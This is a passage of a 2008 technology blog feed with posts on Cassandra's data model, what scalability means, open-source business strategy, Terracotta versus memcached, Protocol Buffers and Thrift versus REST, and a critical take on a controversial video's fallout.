href="http://www.slideshare.net/jhammerb/data-presentations-cassandra-sigmod/">the SIGMOD presentation on Cassandra</a> available at SlideShare. A summary of the salient aspects of the project follows. </p> <p> The problem Cassandra is aimed at solving is one that plagues social networking sites or any other service that has lots of relationships between users and their data. In such services, data often needs to be denormalized to prevent having to do lots of joins when performing queries. However this means the system needs to deal with the increased write traffic due to denormalization. At this point if you're using a relational database, you realize you're pretty much breaking every major rule of relational database design. Google tackled this problem by coming up with <a href="http://labs.google.com/papers/bigtable.html">BigTable</a>. Facebook has followed their lead by developing Cassandra which they admit is inspired by BigTable.  </p> <p> The Cassandra data model is fairly straightforward. The entire system is a giant table with lots of rows. Each row is identified by a unique key. Each row has a column family, which can be thought of as the schema for the row. A column family can contain thousands of columns which are a tuple of {name, value, timestamp} and/or super columns which are a tuple of {name, column+} where column+ means one or more columns. This is very similar to the data model behind Google's BigTable. </p> <p> As I mentioned earlier, denormalized data means you have to be able to handle a lot more writes than you would if storing data in a normalized relational database. Cassandra has several optimizations to make writes cheaper. When a write operation occurs, it doesn't immediately cause a write to the disk. Instead the record is updated in memory and the write operation is added to the commit log. Periodically the list of pending writes is processed and write operations are flushed to disk. As part of the flushing process the set of pending writes is analyzed and redundant writes eliminated. Additionally, the writes are sorted so that the disk is written to sequentially thus significantly improving seek time on the hard drive and reducing the impact of random writes to the system. How important is improving seek time when accessing data on a hard drive? It can <a href="http://stuartsierra.com/2008/04/17/disk-is-the-new-tape">make the difference between taking hours versus days</a> to flush a hundred gigabytes of writes to a disk. <em>Disk is the new tape. </em></p> <p> Cassandra is described as "always writable" which means that a write operation always returns success even if it fails internally to the system. This is similar to the model exposed by <a href="http://www.allthingsdistributed.com/2007/10/amazons_dynamo.html">Amazon's Dynamo</a> which has an <em>eventual consistency</em> model.  From what I've read, it isn't clear how writes operations that occur during an internal failure are reconciled and exposed to users of the system. I'm sure someone with more knowledge can chime in in the comments. </p> <p> At first glance, this is a very nice addition to the world of Open Source software by the Facebook team. Kudos. </p> <p> Found via <a href="http://perspectives.mvdirona.com/2008/07/12/FacebookReleasesCassandraAsOpenSource.aspx">James Hamilton</a>. </p> <p> PS: Is it me or is this <a href="http://stuartsierra.com/2008/07/10/thrift-vs-protocol-buffers">the second significant instance</a> of Facebook Open Sourcing a key infrastructure component "inspired" by Google internals? </p> <p> </p> <p> </p> <p> <b>Now Playing:</b> <a href="http://www.amazon.com/gp/search/ref=sr_adv_m_pop/?search-alias=popular&amp;unfiltered=1&amp;field-keywords=&amp;field-artist=Ray J&amp;field-title=&amp;field-label=&amp;field-binding=&amp;sort=relevancerank&amp;Adv-Srch-Music-Album-Submit.x=19&amp;Adv-Srch-Music-Album-Submit.y=6">Ray J</a> - <a href="http://www.amazon.com/s/ref=nb_ss_dmusic?url=search-alias%3Ddigital-music&amp;field-keywords=Ray J+Gifts&amp;x=0&amp;y=0">Gifts</a></p> <div class="feedflare"> <a href="http://feeds.feedburner.com/~f/Carnage4life?a=ilHmuj"><img src="http://feeds.feedburner.com/~f/Carnage4life?i=ilHmuj" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/Carnage4life?a=IGpZSj"><img src="http://feeds.feedburner.com/~f/Carnage4life?i=IGpZSj" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/Carnage4life?a=Ml8Q1j"><img src="http://feeds.feedburner.com/~f/Carnage4life?i=Ml8Q1j" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/Carnage4life?a=SypG7J"><img src="http://feeds.feedburner.com/~f/Carnage4life?i=SypG7J" border="0"></img></a> </div><img src="http://feeds.feedburner.com/~r/Carnage4life/~4/335040282" height="1" width="1"/> Scalability: I Don't Think That Word Means What You Think It Does http://www.25hoursaday.com/weblog/PermaLink.aspx?guid=30e4b272-3cfe-45ba-90b5-57b001266f34 2008-07-14T04:40:12.359375-07:00 2008-07-14T04:40:12.359375-07:00 <p> Via <a title="Protocol buffers: the early reviews are in" href="http://diveintomark.org/archives/2008/07/12/protobuf">Mark Pilgrim</a> I stumbled on an article by Scott Loganbill entitled <a href="http://www.webmonkey.com/blog/Google_s_Open_Source_Protocol_Buffers_Offer_Scalability__Speed">Google’s Open Source Protocol Buffers Offer Scalability, Speed</a> which contains the following excerpt </p> <blockquote> <p> <em>The best way to explore Protocol Buffers is to compare it to its alternative. What do Protocol Buffers have that XML doesn’t? As the </em> <a href="http://google-opensource.blogspot.com/2008/07/protocol-buffers-googles-data.html"> <em>Google Protocol Buffer blog post mentions</em> </a> <em>, <font color="#ff0000">XML isn’t scalable</font>:</em> </p> <p> <em>"As nice as XML is, it isn’t going to be efficient enough for [Google’s] scale. When all of your machines and network links are running at capacity, XML is an extremely expensive proposition. Not to mention, writing code to work with the DOM tree can sometimes become unwieldy."</em> </p> <p> <em>We’ve never had to deal with XML in a scale where programming for it would become unwieldy, but we’ll take Google’s word for it.</em> </p> <p> <em>Perhaps the biggest value-add of Protocol Buffers to the development community is as <font color="#ff0000">a method of dealing with scalability before it is necessary</font>. The biggest developing drain of any start-up is success. How do you prepare for the onslaught of visitors companies such as Google or </em> <a href="http://www.webmonkey.com/blog/Twitter_Asks_for_Scalability_Help_From_Community"> <em>Twitter have experienced</em> </a> <em>? Scaling for numbers takes critical development time, usually at a juncture where you should be introducing much-needed features to stay ahead of competition rather than paralyzing feature development to keep your servers running.</em> </p> <p> <em>Over time, Google has tackled the problem of communication between platforms with Protocol Buffers and data storage with </em> <a href="http://labs.google.com/papers/bigtable.html"> <em>Big Table</em> </a> <em>. Protocol Buffers is the first open release of the technology making Google tick, although you can utilize Big Table with </em> <a href="http://code.google.com/appengine/"> <em>App Engine</em> </a> <em>.</em> </p> </blockquote> <p> It is unfortunate that it is now commonplace for people to throw around terms like "scaling" and "scalability" in technical discussions without actually explaining what they mean. Having a Web application that scales means that your application can handle becoming popular or being more popular than it is today in a <u><strong>cost effective manner</strong></u>. Depending on your class of Web application, there are different technologies that have been proven to help Web sites handle significantly higher traffic than they normally would. However there is no silver bullet. </p> <p> The fact that Google uses <a href="http://labs.google.com/papers/mapreduce.html">MapReduce</a> and <a href="http://labs.google.com/papers/bigtable.html">BigTable</a> to solve problems in a particular problem space does not mean those technologies work well in others. MapReduce isn't terribly useful if you are building an instant messaging service. Similarly, if you are building an email service you want an infrastructure based on message queuing not BigTable. A binary wire format like Protocol Buffers is a smart idea if your applications bottleneck is network bandwidth or CPU used when serializing/deserializing XML.  As part of building their search engine Google has to cache a significant chunk of the World Wide Web and then perform data intensive operations on that data. In Google's scenarios, the network bandwidth utilized when transferring the massive amounts of data they process can actually be the bottleneck. Hence inventing a technology like Protocol Buffers became a necessity. However, that isn't Twitter's problem so a technology like Protocol Buffers isn't going to "help them scale". Twitter's problems have been <a title="It's Not Rocket Science, But It's Our Work" href="http://blog.twitter.com/2008/05/its-not-rocket-science-but-its-our-work.html">clearly spelled out by the development team</a> and nowhere is network bandwidth called out as a culprit. </p> <p> Almost every technology that has been loudly proclaimed as unscalable by some pundit on the Web is being used by a massively popular service in some context. Relational databases don't scale? Well, <a title="Inside eBay's Massive Oracle Database" href="http://www.dba-oracle.com/oracle_news/news_ebay_massive_oracle.htm">eBay seems to be doing OK</a>. PHP doesn't scale? I believe it <a title="PHP and Facebook" href="http://blog.facebook.com/blog.php?post=2356432130">scales well enough for Facebook</a>. Microsoft technologies aren't scalable? <a title="MySpace Architecture" href="http://highscalability.com/myspace-architecture">MySpace begs to differ</a>. And so on… </p> <p> </p> <p> </p> <p> </p> <p> </p> <p> If someone tells you "technology X doesn't scale" without qualifying that statement, it often means the person either doesn't know what he is talking about or is trying to sell you something. Technologies don't scale, services do. Thinking you can just sprinkle a technology on your service and make it scale is the kind of thinking that led Blaine Cook (former architect at Twitter) to publish <a href="http://www.slideshare.net/Blaine/scaling-twitter/">a presentation on Scaling Twitter</a> which claimed their scaling problems where solved with their adoption of memcached. That was in 2007. In 2008, let's just say the <a href="http://www.flickr.com/photos/scriptingnews/2537265280/">Fail Whale</a> begs to differ.  </p> <p> If a service doesn't scale it is more likely due to bad design than to technology choice. Remember that. </p> <p> <b>Now Playing:</b> <a href="http://www.amazon.com/gp/search/ref=sr_adv_m_pop/?search-alias=popular&amp;unfiltered=1&amp;field-keywords=&amp;field-artist=Zapp and Roger&amp;field-title=&amp;field-label=&amp;field-binding=&amp;sort=relevancerank&amp;Adv-Srch-Music-Album-Submit.x=19&amp;Adv-Srch-Music-Album-Submit.y=6">Zapp &amp; Roger</a> - <a href="http://www.amazon.com/s/ref=nb_ss_dmusic?url=search-alias%3Ddigital-music&amp;field-keywords=Zapp and Roger+Computer Love&amp;x=0&amp;y=0">Computer Love</a></p> <div class="feedflare"> <a href="http://feeds.feedburner.com/~f/Carnage4life?a=MYuvgj"><img src="http://feeds.feedburner.com/~f/Carnage4life?i=MYuvgj" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/Carnage4life?a=ycVRCj"><img src="http://feeds.feedburner.com/~f/Carnage4life?i=ycVRCj" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/Carnage4life?a=kdwxPj"><img src="http://feeds.feedburner.com/~f/Carnage4life?i=kdwxPj" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/Carnage4life?a=9qm2AJ"><img src="http://feeds.feedburner.com/~f/Carnage4life?i=9qm2AJ" border="0"></img></a> </div><img src="http://feeds.feedburner.com/~r/Carnage4life/~4/335040283" height="1" width="1"/> Giving Sh*t Away is not a Business Strategy http://www.25hoursaday.com/weblog/PermaLink.aspx?guid=1585211c-cce8-4961-892d-feab08c952c4 2008-07-11T23:38:09-07:00 2008-07-11T23:38:09-07:00 <p> I read two stories about companies adopting Open Source this week which give some interesting food for thought when juxtaposed. </p> <p> The first is a blog post on C|Net from Matt Asay titled <a href="http://news.cnet.com/8301-13505_3-9987160-16.html?hhTest=1">Ballmer: We'll look at open source, but we won't touch</a> where he writes </p> <blockquote> <p> <em>Ballmer lacks the imagination to conceive of a world where Microsoft could open-source code and still make a lot of money (He's apparently not heard of "Google."):</em> </p> <blockquote> <em>No. 1, are our products likely to be open-sourced? No. We do provide our source code in special situations, but open source also implies free, free is inconsistent with paying for lunches at the partner conference. (Applause.) </em> </blockquote> <p> <em>But at least he's willing to work with those who do grok that the future of software business (meaning: money) is open source:</em> </p> </blockquote> <p> The second is an article on InfoWorld by Paul Krill entitled <a href="http://www.infoworld.com/article/08/07/11/Sun-lays-off-approximately-1000-employees_1.html">Sun lays off approximately 1,000 employees</a> which contains the following excerpts </p> <blockquote> <p> <em>Following through on a </em> <a href="http://www.infoworld.com/article/08/05/02/Sun-blames-revenue-drop-on-weak-US-economy_1.html"> <em>restructuring plan announced in May</em> </a> <em>, Sun on Thursday laid off approximately 1,000 employees in the United States and Canada. All told, the company plans to reduce its workforce by approximately 1,500 to 2,500 employees worldwide. Additional reductions will occur in other regions including EMEA (Europe, Middle East, Africa), Asia-Pacific, and Latin America. Reducing the number of employees by 2,500 would constitute a loss of about 7 percent of the company's employees.</em> <br> ...<br><em>He also addressed the question of whether Sun should abandon its new strategy of giving away its software. Sun will not stop giving it away, according to Schwartz, citing a priority in developer adoption.</em></p> </blockquote> <p> When it comes to the financial benefits of Open Source, you need to look at two perspectives. The perspective of the software vendor (the producer) and the perspective of the software customer (the consumer). A key benefit of Open Source/Free Software to software consumers is that it tends to drive the price of the software to zero. On the other hand, although software producers like Sun Microsystems spend money to produce the software they cannot directly recoup that investment by charging for the software. Thus if you are a consumer of software, it is clear why Open Source is great for your bottom line. On the flip side, it isn't so clear if your <strong><u>primary business</u></strong> is producing software. </p> <p> Matt Asay's usage of Google as an example of a company "making money" from Open Source is a prime example of this schism in perspectives. <em>Google's primary business is selling advertising</em>. Like every other media business, they gather an audience by using their products as bait and then sell that audience to advertisers. Every piece of software not directly related to the business of selling ads is tangential to Google's business. The only other software that is important to Google's business is the software that gives them a differentiated offering when it comes to gathering that audience. Both classes of software are <strong><u>proprietary</u></strong> to Google and always will be. </p> <p> This is why you'll never find a Subversion source repository on <a href="http://code.google.com">http://code.google.com</a> with the source code behind Google's AdSense or Adwords products or the current algorithms that power their search engine. Instead you will find Google supporting and releasing lots of Open Source software that is tangential its core business while keeping the software that actually makes them money proprietary.  </p> <p> This means that in truth Google makes money from proprietary software. However since it doesn't distribute its proprietary software to end users, there isn't anyone complaining about this fact. </p> <p> Unlike Google, Sun Microsystems doesn't really seem to know how they plan to make money. There is a lot of data out there that shows that the Sun Microsystems' model of scaling services is dying. Recently, Kai Fu Lee of Google argued that <a href="http://perspectives.mvdirona.com/2008/06/25/GooglesDrKaiFuLeeOnCloudComputing.aspx">scaling out on commodity hardware is 33 times more efficient than using expensive hardware</a>. This jibes with the sentiments of people who work on cloud services at Microsoft and Amazon that I've talked to when comparing the use of lots of "commodity" servers versus more expensive "big iron" server systems. This means Sun's hardware business is being squeezed because it is betting against industry experience. Giving away their software does not fix this problem, it makes it worse by cutting of a revenue stream as their core business is turning into a dinosaur before their eyes. </p> <p> The bottom line is that giving something away that costs you money to produce only makes sense as part of a strategy that makes you even more money than selling what you gave away (e.g. free T-shirts with corporate logos). Google gets that. It seems Sun Microsystems does not. Neither does Matt Asay. </p> <p> <strong>Now Playing:</strong> <a href="http://phobos.apple.com/WebObjects/MZSearch.woa/wa/advancedSearchResults?artistTerm=Inner Circle">Inner Circle</a> - <a href="http://phobos.apple.com/WebObjects/MZSearch.woa/wa/advancedSearchResults?songTerm=Sweat (A La La La La Long)&amp;artistTerm=Inner Circle">Sweat (A La La La La Long)</a></p> <div class="feedflare"> <a href="http://feeds.feedburner.com/~f/Carnage4life?a=N30HZj"><img src="http://feeds.feedburner.com/~f/Carnage4life?i=N30HZj" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/Carnage4life?a=ClWzij"><img src="http://feeds.feedburner.com/~f/Carnage4life?i=ClWzij" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/Carnage4life?a=PLXYwj"><img src="http://feeds.feedburner.com/~f/Carnage4life?i=PLXYwj" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/Carnage4life?a=mBJvcJ"><img src="http://feeds.feedburner.com/~f/Carnage4life?i=mBJvcJ" border="0"></img></a> </div><img src="http://feeds.feedburner.com/~r/Carnage4life/~4/333331061" height="1" width="1"/> Network Attached Memory: Terracota as an Alternative to Memcached http://www.25hoursaday.com/weblog/PermaLink.aspx?guid=561d1467-05a1-43c1-b1f2-153b56dba371 2008-07-10T07:23:56.140625-07:00 2008-07-10T07:25:09.296875-07:00 <p> When it comes to scaling Web applications, every experienced Web architect eventually realizes that <strong><a href="http://stuartsierra.com/2008/04/17/disk-is-the-new-tape">Disk is the New Tape</a></strong>. Getting data from off of the hard drive disk is slow compared to getting it from memory or from over the network. So an obvious way to improve the performance of your system is to reduce the amount of disk I/O your systems have to do which leads to the adoption of in-memory caching. In addition, there is often more cacheable data on disk than there is space in memory since memory to disk ratios are often worse than 1:100 (Rackspace's <a href="http://www.rackspace.com/solutions/configurations/index.php">default server config</a> has 1GB of RAM and 250 GB of hard disk ). Which has led to the growing popularity of distributed, in-memory, object caching systems like <a href="http://www.danga.com/memcached/">memcached</a> and Microsoft's soon to be released <a href="http://www.25hoursaday.com/weblog/2008/06/06/VelocityADistributedInMemoryCacheFromMicrosoft.aspx">Velocity</a>.  </p> <p> memcached can be thought of as a distributed hash table and its programming model is fairly straightforward from the application developer's perspective. Specifically, There is a special hash table class used by your application which is in actuality a distributed hashtable whose contents are actually being stored on a cluster of machines instead of just in the memory of your local machine. </p> <p> With that background I can now introduce <a href="http://www.terracotta.org/">Terracotta</a>, a product that is billed as "Network Attached Memory" for Java applications. Like distributed hash tables such as memcached, Terracotta springs from the observation that accessing data from a cluster of in-memory cache servers is often more optimal than getting it directly from your database or file store. </p> <p> Where Terracotta differs from memcached and other distributed hash tables is that it is completely transparent to the application developer. Whereas memcached and systems like it require developers to instantiate some sort of "cache" class and then use that as the hash table of objects that should be stored, Terracotta attempts to be transparent to the application developer by hooking directly into the memory allocation operations of the JVM. </p> <p> The following is an excerpt from the Terracotta documentation on <a href="http://www.terracotta.org/confluence/display/explore/How+Terracotta+Works">How Terracotta Works</a></p> <blockquote> <p> <em>Terracotta uses </em> <a href="http://asm.objectweb.org"> <em>ASM</em> </a> <em> to manipulate application classes as those classes load into the JVM. Developers can pick Sun Hotspot or IBM's runtime, and any of several supported application servers <br> …</em> <br> <em>The Terracotta configuration file dictates which classes become clustered and which do not. Terracotta then examines classes for fields it needs to cluster, and threading semantics that need to be shared. For example, if to share customer objects throughout an application cluster, the developer need only tell Terracotta to cluster customers and to synchronize customers cluster-wide.</em> </p> <p> <em>Terracotta looks for bytecode instructions like the following (not an exhaustive list):</em> </p> <ul> <li> <b> <em>GETFIELD</em> </b> </li> <li> <b> <em>PUTFIELD</em> </b> </li> <li> <b> <em>AASTORE</em> </b> </li> <li> <b> <em>AALOAD</em> </b> </li> <li> <b> <em>MONITORENTRY</em> </b> </li> <li> <b> <em>MONITOREXIT</em> </b> </li> </ul> <p> <em>On each of those, Terracotta does the work of Network Attached Memory. Specifically:</em> </p> <table cellspacing="0" cellpadding="2" width="485" border="1"> <tbody> <tr> <td valign="top" width="125"> <b> <em>BYTECODE</em> </b> </td> <td valign="top" width="358"> <b> <em>Injected Behavior</em> </b> </td> </tr> <tr> <td valign="top" width="125"> <b> <em>GETFIELD</em> </b> </td> <td valign="top" width="358"> <em>Read from the Network for certain objects. Terracotta also has a heap-level cache that contains pure Java objects. So GETFIELD reads from RAM if-present and faults in from NAM if a cache miss occurs. </em> </td> </tr> <tr> <td valign="top" width="125"> <b> <em>PUTFIELD</em> </b> </td> <td valign="top" width="358"> <em>Write to the Network for certain objects. When writing field data through the assignment operator "=" or through similar mechanisms, Terracotta writes the changed bytes to NAM as well as allowing those to flow to the JVM's heap.</em> </td> </tr> <tr> <td valign="top" width="125"> <b> <em>AASTORE</em> </b> </td> <td valign="top" width="358"> <em>Same as PUTFIELD but for arrays</em> </td> </tr> <tr> <td valign="top" width="125"> <b> <em>AALOAD</em> </b> </td> <td valign="top" width="358"> <em>Sames as GETFIELD but for arrays</em> </td> </tr> <tr> <td valign="top" width="125"> <b> <em>MONITORENTRY</em> </b> </td> <td valign="top" width="358"> <em>Get a lock inside the JVM on the specified object AND get a lock in NAM in case a thread on another JVM is trying to edit this object at the same time</em> </td> </tr> <tr> <td valign="top" width="125"> <b> <em>MONITOREXIT</em> </b> </td> <td valign="top" width="358"> <em>Flush changes to the JVM's heap cache back to NAM in case another JVM is using the same objects as this JVM</em> </td> </tr> </tbody> </table> </blockquote> <p> The <a href="http://www.terracotta.org/confluence/display/docs1/Configuration+Guide+and+Reference#ConfigurationGuideandReference-ApplicationConfigurationSection">instrumented-classes section of the Terracotta config file</a> is where application developers specify which objects types should be stored in the distributed cache and it is even possible to say that all memory allocations in your application should go through the distributed cache. </p> <p> In general, the approach taken by Terracotta seems more complicated, more intrusive and more error prone than using a distributed hash table like Velocity or memcached. I always worry about systems that attempt to hide or abstract away the fact that network operations are occurring. This often leads to developers writing badly performing or unsafe code because it wasn't obvious that network operations are involved (e.g. a simple lock statement in your Terracotta-powered application may actually be acquiring distributed locks without it being explicit in the code that this is occuring). </p> <blockquote> <p> </p> </blockquote> <p> <b>Now Playing:</b> <a href="http://www.amazon.com/gp/search/ref=sr_adv_m_pop/?search-alias=popular&amp;unfiltered=1&amp;field-keywords=&amp;field-artist=Dream&amp;field-title=&amp;field-label=&amp;field-binding=&amp;sort=relevancerank&amp;Adv-Srch-Music-Album-Submit.x=19&amp;Adv-Srch-Music-Album-Submit.y=6">Dream</a> - <a href="http://www.amazon.com/s/ref=nb_ss_dmusic?url=search-alias%3Ddigital-music&amp;field-keywords=Dream+I Luv Your Girl (Remix) (feat. Young Jeezy)&amp;x=0&amp;y=0">I Luv Your Girl (Remix) (feat. Young Jeezy)</a></p> <div class="feedflare"> <a href="http://feeds.feedburner.com/~f/Carnage4life?a=IIn2Qj"><img src="http://feeds.feedburner.com/~f/Carnage4life?i=IIn2Qj" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/Carnage4life?a=UIqj0j"><img src="http://feeds.feedburner.com/~f/Carnage4life?i=UIqj0j" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/Carnage4life?a=c0Vzzj"><img src="http://feeds.feedburner.com/~f/Carnage4life?i=c0Vzzj" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/Carnage4life?a=ZuzztJ"><img src="http://feeds.feedburner.com/~f/Carnage4life?i=ZuzztJ" border="0"></img></a> </div><img src="http://feeds.feedburner.com/~r/Carnage4life/~4/331785248" height="1" width="1"/> The Revenge of RPC: Google Protocol Buffers and Facebook Thrift http://www.25hoursaday.com/weblog/PermaLink.aspx?guid=898f56ef-0439-4100-90da-08701be03c13 2008-07-10T07:23:19.078125-07:00 2008-07-10T07:23:19.078125-07:00 <p> In the past year both Google and Facebook have released the remote procedure call (RPC) technologies that are used for communication between servers within their data centers as Open Source projects.  </p> <p> <a href="http://developers.facebook.com/thrift/">Facebook Thrift</a> allows you to define data types and service interfaces in a <a href="http://developers.facebook.com/thrift/tutorial.thrift">simple definition file</a>. Taking that file as input, the compiler <a href="http://developers.facebook.com/thrift/Calculator.h">generates code</a> to be used to easily build RPC clients and servers that communicate seamlessly across programming languages. It supports the following programming languages; C++, Java, Python, PHP and Ruby. </p> <p> <a title="http://code.google.com/p/protobuf/" href="http://code.google.com/p/protobuf/">Google Protocol Buffers</a> allows you to define data types and service interfaces in a <a href="http://code.google.com/apis/protocolbuffers/docs/proto.html">simple definition file</a>. Taking that file as input, the compiler <a href="http://code.google.com/apis/protocolbuffers/docs/reference/cpp-generated.html">generates code</a> to be used to easily build RPC clients and servers that communicate seamlessly across programming languages. It supports the following programming languages; C++, Java and Python. </p> <p> That’s interesting. Didn’t Steve Vinoski recently claim that <a title="Convenience over Correctness" href="http://steve.vinoski.net/blog/2008/07/01/convenience-over-correctness/">RPC and it's descendants are "fundamentally flawed"</a>? If so, why are Google and Facebook not only using RPC but proud enough of their usage of yet another distributed object RPC technology <em>based on binary protocols</em> that they are Open Sourcing them? Didn’t they get the memo that everyone is now on the REST + JSON/XML bandwagon (<a href="http://www.tbray.org/ongoing/When/200x/2008/07/07/Atom">preferrably AtomPub</a>)? </p> <p> In truth, Google is on the REST + XML band wagon. Google has the Google Data APIs (<a href="http://code.google.com/apis/gdata/">GData</a>) which is a consistent set of RESTful APIs for accessing data from Google's services based on the Atom Publishing Protocol aka RFC 5023. And even Facebook has a set of plain old XML over HTTP APIs (POX/HTTP) which they <strong>incorrectly</strong> refer to as the <a href="http://wiki.developers.facebook.com/index.php/API">Facebook REST API</a>. </p> <p> </p> <p> </p> <p> </p> <p> </p> <p> </p> <p> </p> <p> </p> <p> </p> <p> </p> <p> </p> <p> </p> <p> </p> <p> </p> <p> </p> <p> So what is the story here? </p> <p> It is all about coupling and how much control you have over the distributed end points. On the Web where you have little to no control over who talks to your servers or what technology they use, you want to utilize flexible technologies that make no assumptions about either end of the communication. This is where RESTful XML-based Web services shine. However when you have tight control over the service end points (e.g. if they are all your servers running in your data center) then you can use more optimized communications technologies that add a layer of tight coupling to your system. An example of the kind of tight coupling you have to live with is that  Facebook Thrift requires specific versions of g++ and Java if you plan to talk to it using code written in either language and you can’t talk to it from a service written in C#. </p> <p> In general, the Web is about openness and loose coupling. Binary protocols that require specific programming languages and runtimes are the exact opposite of this. However inside your Web service where you control both ends of the pipe, you can optimize the interaction between your services and simplify development by going with a binary RPC based technology. More than likely different parts of your system are already doing this anyway (e.g. <a href="http://www.danga.com/memcached/">memcached</a> uses a binary protocol to talk between cache instances, SQL Server uses <a href="http://msdn.microsoft.com/en-us/library/cc448435.aspx">TDS</a> as the communications protocol between the database and it's clients, etc). </p> <p> </p> <p> </p> <p> </p> <p> </p> <p> </p> <p> </p> <p> </p> <p> Always remember to use the right tool for the job. One size doesn’t fit all when it comes to technology decisions. </p> <p> FURTHER READING </p> <ul> <li> <a href="http://keithelder.net/blog/archive/2008/01/17/Exposing-a-WCF-Service-With-Multiple-Bindings-and-Endpoints.aspx">Exposing a WCF Service With Multiple Bindings and Endpoints</a> – Keith Elder describes how Windows Communication Foundation (WCF) supports multiple bindings that enable developers to expose their services in a variety of ways.  A developer can create a service once and then expose it to support net.tcp:// or http:// and various versions of http:// (Soap1.1, Soap1.2, WS*, JSON, etc).  This can be useful if a service crosses boundaries between the intranet and the Internet. </li> </ul> <p> <b>Now Playing:</b> <a href="http://www.amazon.com/gp/search/ref=sr_adv_m_pop/?search-alias=popular&amp;unfiltered=1&amp;field-keywords=&amp;field-artist=Pink&amp;field-title=&amp;field-label=&amp;field-binding=&amp;sort=relevancerank&amp;Adv-Srch-Music-Album-Submit.x=19&amp;Adv-Srch-Music-Album-Submit.y=6">Pink</a> - <a href="http://www.amazon.com/s/ref=nb_ss_dmusic?url=search-alias%3Ddigital-music&amp;field-keywords=Pink+Family Portrait&amp;x=0&amp;y=0">Family Portrait</a></p> <div class="feedflare"> <a href="http://feeds.feedburner.com/~f/Carnage4life?a=6POa1j"><img src="http://feeds.feedburner.com/~f/Carnage4life?i=6POa1j" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/Carnage4life?a=JO49Oj"><img src="http://feeds.feedburner.com/~f/Carnage4life?i=JO49Oj" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/Carnage4life?a=abDzdj"><img src="http://feeds.feedburner.com/~f/Carnage4life?i=abDzdj" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/Carnage4life?a=AXoWXJ"><img src="http://feeds.feedburner.com/~f/Carnage4life?i=AXoWXJ" border="0"></img></a> </div><img src="http://feeds.feedburner.com/~r/Carnage4life/~4/331785249" height="1" width="1"/> Freedom of Speech Doesn’t Mean Freedom from Consequences http://www.25hoursaday.com/weblog/PermaLink.aspx?guid=501b6a9c-1a26-450e-bf4f-3799ba5d8889 2008-07-08T05:51:20.1267979-07:00 2008-07-08T05:51:20.1267979-07:00 <p> </p> <p> </p> <p> A year ago Loren Feldman produced a controversial video called "TechNigga" which seems to still be causing him problems today. Matthew Ingram captures the latest fallout from that controversy in his post <a title="http://www.mathewingram.com/work/2008/07/07/protests-over-verizon-deal-with-1938media/" href="http://www.mathewingram.com/work/2008/07/07/protests-over-verizon-deal-with-1938media/">Protests over Verizon deal with 1938media</a> where he writes </p> <blockquote> <p> <em>Several civil-rights groups and media watchdogs </em> <a href="http://www.hiphopdx.com/index/news/id.7258/title.verizon-in-hot-water-over-technigga-partnership"> <em>are protesting</em> </a> <em> a decision by telecom giant Verizon to add 1938media’s video clips to its mobile Vcast service, saying Loren’s "TechNigga" clip is demeaning to black people. </em> <a href="http://www.islamichope.org/"> <em>Project Islamic Hope</em> </a> <em>, for example, has issued a statement demanding that Verizon drop its distribution arrangement with 1938media, which was just announced about </em> <a href="http://www.1938media.com/excuse-but-im-on-the-phone/"> <em>a week ago</em> </a> <em>, and other groups including the National Action Network and LA Humanity Foundation are </em> <a href="http://www.eurweb.com/story/eur45037.cfm"> <em>also apparently</em> </a> <em> calling for people to email Verizon and protest.</em> </p> <p> <em>The video that has Islamic Hope and other groups so upset is one called "TechNigga," which Loren </em> <a href="http://1938media.blip.tv/file/326972"> <em>put together</em> </a> <em> last August. After wondering aloud why there are no black tech bloggers, Loren reappears with a skullcap and some gawdy jewelry, and claims to be the host of a show called TechNigga. He then swigs from a bottle of booze, does a lot of tongue-kissing and face-licking with his girlfriend </em> <a href="http://www.michelleoshen.com/"> <em>Michelle Oshen</em> </a> <em>, and then introduces a new Web app called "Ho-Trackr," which is a mashup with Google Maps that allows prospective johns to locate prostitutes. In a statement, Islamic Hope </em> <a href="http://www.blacktalentnews.com/artman/publish/article_1917.shtml"> <em>says that</em> </a> <em> the video "sends a horrible message that Verizon seeks to partner with racists."</em> </p> </blockquote> <p> I remember <a title="RE: Where Are The Black Tech Bloggers?" href="http://www.25hoursaday.com/weblog/2007/08/09/REWhereAreTheBlackTechBloggers.aspx">encountering the video last year</a> and thinking it was incredibly unfunny. It wasn’t a clever juxtaposition of hip hop culture and tech geekery. It wasn’t <a href="http://en.wikipedia.org/wiki/Satire">satire</a> since that involves lampooning someone or something you disapprove off in a humorous way (see <a href="http://www.comedycentral.com/colbertreport/">The Colbert Report</a>).  Of course, I thought the responses to the video were even dumber; like Robert Scoble responding to the video with the comment “Dare Obasanjo is black”. </p> <p> Since posting the video Loren Feldman has lost a bunch of video distribution deals with the current Verizon deal being the latest. I’ve been amused to read all of the <a href="http://www.techcrunch.com/2008/07/07/1938-media-loses-verizon-deal-over-racism-charges/">comments on TechCrunch</a> about how this violates Loren’s <strong>freedom of speech</strong>. </p> <p> People often confuse the fact that it is not a crime to speak your mind in America with the belief that you should be able to speak your mind without consequence. The two things are not the same. If I call you an idiot, I may not go to jail but I shouldn’t expect you to be nice to me afterwards. The things you say can come back and bite you on butt is something everyone should have learned growing up. So it is always surprising for me to see people petulantly complain that “this violates my freedom of speech” when they have to deal with the consequences of their actions. </p> <p> BONUS VIDEO: A juxtaposition of hip hop culture and Web geekery by a <a href="http://www.theseorapper.com/">black tech blogger</a>. </p> <div class="wlWriterSmartContent" id="scid:5737277B-5D6D-4f48-ABFC-DD9C333F4C5D:e666d595-ea02-4aa1-878e-8c65d3a3c7f8" style="padding-right: 0px; display: inline; padding-left: 0px; float: none; padding-bottom: 0px; margin: 0px; padding-top: 0px"> <div id="9b9b6ee0-8dc7-4992-8c09-62dbd8d8a89b" style="margin: 0px; padding: 0px; display: inline;"> <div> <a href="http://www.youtube.com/watch?v=a0qMe7Z3EYg" target="_new"> <img 